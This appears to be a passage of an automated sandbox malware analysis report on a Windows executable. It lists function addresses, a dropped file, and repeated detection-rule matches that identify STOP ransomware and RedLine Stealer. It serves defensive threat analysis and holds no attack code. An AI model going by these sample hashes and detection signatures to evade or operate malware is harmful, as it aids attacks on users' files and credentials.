Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A89D0	6_2_022A89D0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A8E60	6_2_022A8E60
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022D4E9F	6_2_022D4E9F
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022E2D1E	6_2_022E2D1E
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A5DE7	6_2_022A5DE7
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A5DF7	6_2_022A5DF7
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02267220	7_2_02267220
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022E22C0	7_2_022E22C0
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022AE37C	7_2_022AE37C
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02267393	7_2_02267393
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0226A026	7_2_0226A026
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0227F030	7_2_0227F030
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0226B000	7_2_0226B000
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0226B0B0	7_2_0226B0B0
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022670E0	7_2_022670E0
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022630F0	7_2_022630F0
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022700D0	7_2_022700D0
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02269120	7_2_02269120
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022AE141	7_2_022AE141
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0228D1A4	7_2_0228D1A4
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022AB69F	7_2_022AB69F
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0226A699	7_2_0226A699
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0226E6E0	7_2_0226E6E0
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0226C760	7_2_0226C760
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0226A79A	7_2_0226A79A
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0228D7F1	7_2_0228D7F1
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02263520	7_2_02263520
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02267520	7_2_02267520
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0226CA10	7_2_0226CA10
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02267A80	7_2_02267A80
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02270B00	7_2_02270B00
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02262B60	7_2_02262B60
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0226DBE0	7_2_0226DBE0
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02267880	7_2_02267880
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022818D0	7_2_022818D0
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0227A930	7_2_0227A930
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0226A916	7_2_0226A916
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0228E9A3	7_2_0228E9A3
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_0228F9B0	7_2_0228F9B0
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022659F7	7_2_022659F7
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022689D0	7_2_022689D0
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02268E60	7_2_02268E60
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02294E9F	7_2_02294E9F
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_022A2D1E	7_2_022A2D1E
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02265DE7	7_2_02265DE7
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02265DF7	7_2_02265DF7

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\lvAVrO.exe 4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794

Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 02288EC0 appears 57 times
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 02290160 appears 50 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 022D0160 appears 50 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 022C8EC0 appears 57 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 00428C81 appears 42 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 02298EC0 appears 57 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 00410270 appears 96 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 004547A0 appears 75 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 0040D910 appears 128 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 0042F7C0 appears 71 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 0044F23E appears 53 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 00428520 appears 77 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 00454E50 appears 31 times
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: String function: 022A0160 appears 50 times

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7840 -s 1560

Source: MyProg.exe.2.dr

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.1341092926.0000000002204000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
